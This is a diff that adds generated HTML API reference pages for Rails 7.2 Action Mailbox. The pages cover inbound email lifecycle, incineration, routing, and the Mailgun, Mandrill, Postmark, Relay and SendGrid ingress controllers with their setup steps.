+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/callbacks.rb, line 27
+      def after_processing(*methods, &block)
+        set_callback(:process, :after, *methods, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + around_processing(*methods, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/callbacks.rb, line 31
+      def around_processing(*methods, &block)
+        set_callback(:process, :around, *methods, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_processing(*methods, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/lib/action_mailbox/callbacks.rb, line 23
+      def before_processing(*methods, &block)
+        set_callback(:process, :before, *methods, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Engine.html b/src/7.2/classes/ActionMailbox/Engine.html new file mode 100644 index 0000000000..87aa68c1ae --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Engine.html @@ -0,0 +1,60 @@ +--- +title: ActionMailbox::Engine +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/InboundEmail.html b/src/7.2/classes/ActionMailbox/InboundEmail.html new file mode 100644 index 0000000000..9c5a30327e --- /dev/null +++ b/src/7.2/classes/ActionMailbox/InboundEmail.html @@ -0,0 +1,237 @@ +--- +title: ActionMailbox::InboundEmail +layout: default +--- +
+ +
+
+ +
+ +

The InboundEmail is an Active Record that keeps a reference to the raw email stored in Active Storage and tracks the status of processing. By default, incoming emails will go through the following lifecycle:

+
  • +

    Pending: Just received by one of the ingress controllers and scheduled for routing.

    +
  • +

    Processing: During active processing, while a specific mailbox is running its process method.

    +
  • +

    Delivered: Successfully processed by the specific mailbox.

    +
  • +

    Failed: An exception was raised during the specific mailbox’s execution of the #process method.

    +
  • +

    Bounced: Rejected processing by the specific mailbox and bounced to sender.

    +
+ +

Once the InboundEmail has reached the status of being either delivered, failed, or bounced, it’ll count as having been #processed?. Once processed, the InboundEmail will be scheduled for automatic incineration at a later point.

+ +

When working with an InboundEmail, you’ll usually interact with the parsed version of the source, which is available as a Mail object from #mail. But you can also access the raw source directly using the #source method.

+ +

Examples:

+ +
inbound_email.mail.from # => 'david@loudthinking.com'
+inbound_email.source # Returns the full rfc822 source of the email as text
+
+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + mail() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email.rb, line 33
+    def mail
+      @mail ||= Mail.from_source(source)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + processed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email.rb, line 41
+    def processed?
+      delivered? || failed? || bounced?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + source() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email.rb, line 37
+    def source
+      @source ||= raw_email.download
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/InboundEmail/Incineratable.html b/src/7.2/classes/ActionMailbox/InboundEmail/Incineratable.html new file mode 100644 index 0000000000..db9c67abbe --- /dev/null +++ b/src/7.2/classes/ActionMailbox/InboundEmail/Incineratable.html @@ -0,0 +1,161 @@ +--- +title: ActionMailbox::InboundEmail::Incineratable +layout: default +--- +
+ +
+
+ +
+ +

Ensure that the InboundEmail is automatically scheduled for later incineration if the status has been changed to processed. The later incineration will be invoked at the time specified by the ActionMailbox.incinerate_after time using the IncinerationJob.

+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + incinerate() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/incineratable.rb, line 17
+  def incinerate
+    Incineration.new(self).run
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + incinerate_later() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/incineratable.rb, line 13
+  def incinerate_later
+    ActionMailbox::IncinerationJob.schedule self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/InboundEmail/Incineratable/Incineration.html b/src/7.2/classes/ActionMailbox/InboundEmail/Incineratable/Incineration.html new file mode 100644 index 0000000000..a19c91b544 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/InboundEmail/Incineratable/Incineration.html @@ -0,0 +1,155 @@ +--- +title: ActionMailbox::InboundEmail::Incineratable::Incineration +layout: default +--- +
+ +
+
+ +
+ +

Command class for carrying out the actual incineration of the InboundMail that’s been scheduled for removal. Before the incineration – which really is just a call to #destroy! – is run, we verify that it’s both eligible (by virtue of having already been processed) and time to do so (that is, the InboundEmail was processed after the incinerate_after time).

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration.rb, line 9
+    def initialize(inbound_email)
+      @inbound_email = inbound_email
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + run() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/incineratable/incineration.rb, line 13
+    def run
+      @inbound_email.destroy! if due? && processed?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/InboundEmail/MessageId.html b/src/7.2/classes/ActionMailbox/InboundEmail/MessageId.html new file mode 100644 index 0000000000..ff863cb242 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/InboundEmail/MessageId.html @@ -0,0 +1,235 @@ +--- +title: ActionMailbox::InboundEmail::MessageId +layout: default +--- +
+ +
+
+ +
+ +

The Message-ID as specified by rfc822 is supposed to be a unique identifier for that individual email. That makes it an ideal tracking token for debugging and forensics, just like X-Request-Id does for web request.

+ +

If an inbound email does not, against the rfc822 mandate, specify a Message-ID, one will be generated using the approach from Mail::MessageIdField.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create_and_extract_message_id!(source, **options) + +

+ + +
+

Create a new InboundEmail from the raw source of the email, which is uploaded as an Active Storage attachment called raw_email. Before the upload, extract the Message-ID from the source and set it as an attribute on the new InboundEmail.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/message_id.rb, line 16
+    def create_and_extract_message_id!(source, **options)
+      message_checksum = OpenSSL::Digest::SHA1.hexdigest(source)
+      message_id = extract_message_id(source) || generate_missing_message_id(message_checksum)
+
+      create! raw_email: create_and_upload_raw_email!(source),
+        message_id: message_id, message_checksum: message_checksum, **options
+    rescue ActiveRecord::RecordNotUnique
+      nil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_and_upload_raw_email!(source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/message_id.rb, line 37
+      def create_and_upload_raw_email!(source)
+        ActiveStorage::Blob.create_and_upload! io: StringIO.new(source), filename: "message.eml", content_type: "message/rfc822",
+                                               service_name: ActionMailbox.storage_service
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract_message_id(source) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/message_id.rb, line 27
+      def extract_message_id(source)
+        Mail.from_source(source).message_id rescue nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generate_missing_message_id(message_checksum) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/message_id.rb, line 31
+      def generate_missing_message_id(message_checksum)
+        Mail::MessageIdField.new("<#{message_checksum}@#{::Socket.gethostname}.mail>").message_id.tap do |message_id|
+          logger.warn "Message-ID couldn't be parsed or is missing. Generated a new Message-ID: #{message_id}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/InboundEmail/Routable.html b/src/7.2/classes/ActionMailbox/InboundEmail/Routable.html new file mode 100644 index 0000000000..a64c4cd820 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/InboundEmail/Routable.html @@ -0,0 +1,148 @@ +--- +title: ActionMailbox::InboundEmail::Routable +layout: default +--- +
+ +
+
+ +
+ +

A newly received InboundEmail will not be routed synchronously as part of ingress controller’s receival. Instead, the routing will be done asynchronously, using a RoutingJob, to ensure maximum parallel capacity.

+ +

By default, all newly created InboundEmail records that have the status of pending, which is the default, will be scheduled for automatic, deferred routing.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + route() + +

+ + +
+

Route this InboundEmail using the routing rules declared on the ApplicationMailbox.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/routable.rb, line 21
+  def route
+    ApplicationMailbox.route self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + route_later() + +

+ + +
+

Enqueue a RoutingJob for this InboundEmail.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/models/action_mailbox/inbound_email/routable.rb, line 16
+  def route_later
+    ActionMailbox::RoutingJob.perform_later self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/IncinerationJob.html b/src/7.2/classes/ActionMailbox/IncinerationJob.html new file mode 100644 index 0000000000..78e55d8c41 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/IncinerationJob.html @@ -0,0 +1,159 @@ +--- +title: ActionMailbox::IncinerationJob +layout: default +--- +
+ +
+
+ +
+ +

You can configure when this IncinerationJob will be run as a time-after-processing using the config.action_mailbox.incinerate_after or ActionMailbox.incinerate_after setting.

+ +

Since this incineration is set for the future, it’ll automatically ignore any InboundEmails that have already been deleted and discard itself if so.

+ +

You can disable incinerating processed emails by setting config.action_mailbox.incinerate or ActionMailbox.incinerate to false.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + schedule(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/jobs/action_mailbox/incineration_job.rb, line 17
+    def self.schedule(inbound_email)
+      set(wait: ActionMailbox.incinerate_after).perform_later(inbound_email)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + perform(inbound_email) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/jobs/action_mailbox/incineration_job.rb, line 21
+    def perform(inbound_email)
+      inbound_email.incinerate
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses.html b/src/7.2/classes/ActionMailbox/Ingresses.html new file mode 100644 index 0000000000..ba59540903 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses.html @@ -0,0 +1,83 @@ +--- +title: ActionMailbox::Ingresses +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Mailgun.html b/src/7.2/classes/ActionMailbox/Ingresses/Mailgun.html new file mode 100644 index 0000000000..9f51034904 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Mailgun.html @@ -0,0 +1,67 @@ +--- +title: ActionMailbox::Ingresses::Mailgun +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Mailgun/InboundEmailsController.html b/src/7.2/classes/ActionMailbox/Ingresses/Mailgun/InboundEmailsController.html new file mode 100644 index 0000000000..d134fd6fca --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Mailgun/InboundEmailsController.html @@ -0,0 +1,173 @@ +--- +title: ActionMailbox::Ingresses::Mailgun::InboundEmailsController +layout: default +--- +
+ +
+
+ +
+ +

Ingests inbound emails from Mailgun. Requires the following parameters:

+
  • +

    body-mime: The full RFC 822 message

    +
  • +

    timestamp: The current time according to Mailgun as the number of seconds passed since the UNIX epoch

    +
  • +

    token: A randomly-generated, 50-character string

    +
  • +

    signature: A hexadecimal HMAC-SHA256 of the timestamp concatenated with the token, generated using the Mailgun Signing key

    +
+ +

Authenticates requests by validating their signatures.

+ +

Returns:

+
  • +

    204 No Content if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox

    +
  • +

    401 Unauthorized if the request’s signature could not be validated, or if its timestamp is more than 2 minutes old

    +
  • +

    404 Not Found if Action Mailbox is not configured to accept inbound emails from Mailgun

    +
  • +

    422 Unprocessable Entity if the request is missing required parameters

    +
  • +

    500 Server Error if the Mailgun Signing key is missing, or one of the Active Record database, the Active Storage service, or the Active Job backend is misconfigured or unavailable

    +
+ +

Usage

+
  1. +

    Give Action Mailbox your Mailgun Signing key (which you can find under Settings -> Security & Users -> API security in Mailgun) so it can authenticate requests to the Mailgun ingress.

    + +

    Use bin/rails credentials:edit to add your Signing key to your application’s encrypted credentials under action_mailbox.mailgun_signing_key, where Action Mailbox will automatically find it:

    + +
    action_mailbox:
    +  mailgun_signing_key: ...
    +
    + +

    Alternatively, provide your Signing key in the MAILGUN_INGRESS_SIGNING_KEY environment variable.

    +
  2. +

    Tell Action Mailbox to accept emails from Mailgun:

    + +
    # config/environments/production.rb
    +config.action_mailbox.ingress = :mailgun
    +
    +
  3. +

    Configure Mailgun to forward inbound emails to /rails/action_mailbox/mailgun/inbound_emails/mime.

    + +

    If your application lived at https://example.com, you would specify the fully-qualified URL https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime.

    +
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb, line 49
+    def create
+      ActionMailbox::InboundEmail.create_and_extract_message_id! mail
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Mailgun/InboundEmailsController/Authenticator.html b/src/7.2/classes/ActionMailbox/Ingresses/Mailgun/InboundEmailsController/Authenticator.html new file mode 100644 index 0000000000..46d67dbdc3 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Mailgun/InboundEmailsController/Authenticator.html @@ -0,0 +1,187 @@ +--- +title: ActionMailbox::Ingresses::Mailgun::InboundEmailsController::Authenticator +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [R] + key
+ [R] + signature
+ [R] + timestamp
+ [R] + token
+ + + + +

Class Public methods

+ +
+

+ + new(key:, timestamp:, token:, signature:) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb, line 87
+        def initialize(key:, timestamp:, token:, signature:)
+          @key, @timestamp, @token, @signature = key, Integer(timestamp), token, signature
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + authenticated?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/mailgun/inbound_emails_controller.rb, line 91
+        def authenticated?
+          signed? && recent?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Mandrill.html b/src/7.2/classes/ActionMailbox/Ingresses/Mandrill.html new file mode 100644 index 0000000000..7d1d9a2971 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Mandrill.html @@ -0,0 +1,67 @@ +--- +title: ActionMailbox::Ingresses::Mandrill +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Mandrill/InboundEmailsController.html b/src/7.2/classes/ActionMailbox/Ingresses/Mandrill/InboundEmailsController.html new file mode 100644 index 0000000000..796c4c4888 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Mandrill/InboundEmailsController.html @@ -0,0 +1,184 @@ +--- +title: ActionMailbox::Ingresses::Mandrill::InboundEmailsController +layout: default +--- +
+ +
+
+ +
+ +

Ingests inbound emails from Mandrill.

+ +

Requires a mandrill_events parameter containing a JSON array of Mandrill inbound email event objects. Each event is expected to have a msg object containing a full RFC 822 message in its raw_msg property.

+ +

Returns:

+
  • +

    204 No Content if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox

    +
  • +

    401 Unauthorized if the request’s signature could not be validated

    +
  • +

    404 Not Found if Action Mailbox is not configured to accept inbound emails from Mandrill

    +
  • +

    422 Unprocessable Entity if the request is missing required parameters

    +
  • +

    500 Server Error if the Mandrill API key is missing, or one of the Active Record database, the Active Storage service, or the Active Job backend is misconfigured or unavailable

    +
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb, line 20
+    def create
+      raw_emails.each { |raw_email| ActionMailbox::InboundEmail.create_and_extract_message_id! raw_email }
+      head :ok
+    rescue JSON::ParserError => error
+      logger.error error.message
+      head :unprocessable_entity
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + health_check() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb, line 28
+    def health_check
+      head :ok
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Mandrill/InboundEmailsController/Authenticator.html b/src/7.2/classes/ActionMailbox/Ingresses/Mandrill/InboundEmailsController/Authenticator.html new file mode 100644 index 0000000000..f7340f1515 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Mandrill/InboundEmailsController/Authenticator.html @@ -0,0 +1,171 @@ +--- +title: ActionMailbox::Ingresses::Mandrill::InboundEmailsController::Authenticator +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + key
+ [R] + request
+ + + + +

Class Public methods

+ +
+

+ + new(request, key) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb, line 64
+        def initialize(request, key)
+          @request, @key = request, key
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + authenticated?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/mandrill/inbound_emails_controller.rb, line 68
+        def authenticated?
+          ActiveSupport::SecurityUtils.secure_compare given_signature, expected_signature
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Postmark.html b/src/7.2/classes/ActionMailbox/Ingresses/Postmark.html new file mode 100644 index 0000000000..dc92e12376 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Postmark.html @@ -0,0 +1,67 @@ +--- +title: ActionMailbox::Ingresses::Postmark +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Postmark/InboundEmailsController.html b/src/7.2/classes/ActionMailbox/Ingresses/Postmark/InboundEmailsController.html new file mode 100644 index 0000000000..f9ef85c0d0 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Postmark/InboundEmailsController.html @@ -0,0 +1,164 @@ +--- +title: ActionMailbox::Ingresses::Postmark::InboundEmailsController +layout: default +--- +
+ +
+
+ +
+ +

Ingests inbound emails from Postmark. Requires a RawEmail parameter containing a full RFC 822 message.

+ +

Authenticates requests using HTTP basic access authentication. The username is always actionmailbox, and the password is read from the application’s encrypted credentials or an environment variable. See the Usage section below.

+ +

Note that basic authentication is insecure over unencrypted HTTP. An attacker that intercepts cleartext requests to the Postmark ingress can learn its password. You should only use the Postmark ingress over HTTPS.

+ +

Returns:

+
  • +

    204 No Content if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox

    +
  • +

    401 Unauthorized if the request’s signature could not be validated

    +
  • +

    404 Not Found if Action Mailbox is not configured to accept inbound emails from Postmark

    +
  • +

    422 Unprocessable Entity if the request is missing the required RawEmail parameter

    +
  • +

    500 Server Error if the ingress password is not configured, or if one of the Active Record database, the Active Storage service, or the Active Job backend is misconfigured or unavailable

    +
+ +

Usage

+
  1. +

    Tell Action Mailbox to accept emails from Postmark:

    + +
    # config/environments/production.rb
    +config.action_mailbox.ingress = :postmark
    +
    +
  2. +

    Generate a strong password that Action Mailbox can use to authenticate requests to the Postmark ingress.

    + +

    Use bin/rails credentials:edit to add the password to your application’s encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

    + +
    action_mailbox:
    +  ingress_password: ...
    +
    + +

    Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

    +
  3. +

    Configure Postmark to forward inbound emails to /rails/action_mailbox/postmark/inbound_emails with the username actionmailbox and the password you previously generated. If your application lived at https://example.com, you would configure your Postmark inbound webhook with the following fully-qualified URL:

    + +
    https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails
    +
    + +

    NOTE: When configuring your Postmark inbound webhook, be sure to check the box labeled *β€œInclude raw email content in JSON payload”*. Action Mailbox needs the raw email content to work.

    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/postmark/inbound_emails_controller.rb, line 51
+    def create
+      ActionMailbox::InboundEmail.create_and_extract_message_id! params.require("RawEmail")
+    rescue ActionController::ParameterMissing => error
+      logger.error <<~MESSAGE
+        #{error.message}
+
+        When configuring your Postmark inbound webhook, be sure to check the box
+        labeled "Include raw email content in JSON payload".
+      MESSAGE
+      head :unprocessable_entity
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Relay.html b/src/7.2/classes/ActionMailbox/Ingresses/Relay.html new file mode 100644 index 0000000000..e7cc57462e --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Relay.html @@ -0,0 +1,67 @@ +--- +title: ActionMailbox::Ingresses::Relay +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Relay/InboundEmailsController.html b/src/7.2/classes/ActionMailbox/Ingresses/Relay/InboundEmailsController.html new file mode 100644 index 0000000000..87ad4b1c84 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Relay/InboundEmailsController.html @@ -0,0 +1,169 @@ +--- +title: ActionMailbox::Ingresses::Relay::InboundEmailsController +layout: default +--- +
+ +
+
+ +
+ +

Ingests inbound emails relayed from an SMTP server.

+ +

Authenticates requests using HTTP basic access authentication. The username is always actionmailbox, and the password is read from the application’s encrypted credentials or an environment variable. See the Usage section below.

+ +

Note that basic authentication is insecure over unencrypted HTTP. An attacker that intercepts cleartext requests to the ingress can learn its password. You should only use this ingress over HTTPS.

+ +

Returns:

+
  • +

    204 No Content if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox

    +
  • +

    401 Unauthorized if the request could not be authenticated

    +
  • +

    404 Not Found if Action Mailbox is not configured to accept inbound emails relayed from an SMTP server

    +
  • +

    415 Unsupported Media Type if the request does not contain an RFC 822 message

    +
  • +

    500 Server Error if the ingress password is not configured, or if one of the Active Record database, the Active Storage service, or the Active Job backend is misconfigured or unavailable

    +
+ +

Usage

+
  1. +

    Tell Action Mailbox to accept emails from an SMTP relay:

    + +
    # config/environments/production.rb
    +config.action_mailbox.ingress = :relay
    +
    +
  2. +

    Generate a strong password that Action Mailbox can use to authenticate requests to the ingress.

    + +

    Use bin/rails credentials:edit to add the password to your application’s encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

    + +
    action_mailbox:
    +  ingress_password: ...
    +
    + +

    Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

    +
  3. +

    Configure your SMTP server to pipe inbound emails to the appropriate ingress command, providing the URL of the relay ingress and the INGRESS_PASSWORD you previously generated.

    + +

    If your application lives at https://example.com, you would configure the Postfix SMTP server to pipe inbound emails to the following command:

    + +
    $ bin/rails action_mailbox:ingress:postfix URL=https://example.com/rails/action_mailbox/postfix/inbound_emails INGRESS_PASSWORD=...
    +
    + +

    Built-in ingress commands are available for these popular SMTP servers:

    +
    • +

      Exim (bin/rails action_mailbox:ingress:exim)

      +
    • +

      Postfix (bin/rails action_mailbox:ingress:postfix)

      +
    • +

      Qmail (bin/rails action_mailbox:ingress:qmail)

      +
    +
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailbox/app/controllers/action_mailbox/ingresses/relay/inbound_emails_controller.rb, line 54
+    def create
+      if request.body
+        ActionMailbox::InboundEmail.create_and_extract_message_id! request.body.read
+      else
+        head :unprocessable_entity
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Sendgrid.html b/src/7.2/classes/ActionMailbox/Ingresses/Sendgrid.html new file mode 100644 index 0000000000..44c50a4af7 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Sendgrid.html @@ -0,0 +1,67 @@ +--- +title: ActionMailbox::Ingresses::Sendgrid +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailbox/Ingresses/Sendgrid/InboundEmailsController.html b/src/7.2/classes/ActionMailbox/Ingresses/Sendgrid/InboundEmailsController.html new file mode 100644 index 0000000000..3eb7e07f00 --- /dev/null +++ b/src/7.2/classes/ActionMailbox/Ingresses/Sendgrid/InboundEmailsController.html @@ -0,0 +1,159 @@ +--- +title: ActionMailbox::Ingresses::Sendgrid::InboundEmailsController +layout: default +--- +
+ +
+
+ +
+ +

Ingests inbound emails from SendGrid. Requires an email parameter containing a full RFC 822 message.

+ +

Authenticates requests using HTTP basic access authentication. The username is always actionmailbox, and the password is read from the application’s encrypted credentials or an environment variable. See the Usage section below.

+ +

Note that basic authentication is insecure over unencrypted HTTP. An attacker that intercepts cleartext requests to the SendGrid ingress can learn its password. You should only use the SendGrid ingress over HTTPS.

+ +

Returns:

+
  • +

    204 No Content if an inbound email is successfully recorded and enqueued for routing to the appropriate mailbox

    +
  • +

    401 Unauthorized if the request’s signature could not be validated

    +
  • +

    404 Not Found if Action Mailbox is not configured to accept inbound emails from SendGrid

    +
  • +

    422 Unprocessable Entity if the request is missing the required email parameter

    +
  • +

    500 Server Error if the ingress password is not configured, or if one of the Active Record database, the Active Storage service, or the Active Job backend is misconfigured or unavailable

    +
+ +

Usage

+
  1. +

    Tell Action Mailbox to accept emails from SendGrid:

    + +
    # config/environments/production.rb
    +config.action_mailbox.ingress = :sendgrid
    +
    +
  2. +

    Generate a strong password that Action Mailbox can use to authenticate requests to the SendGrid ingress.

    + +

    Use bin/rails credentials:edit to add the password to your application’s encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

    + +
    action_mailbox:
    +  ingress_password: ...
    +
    + +

    Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

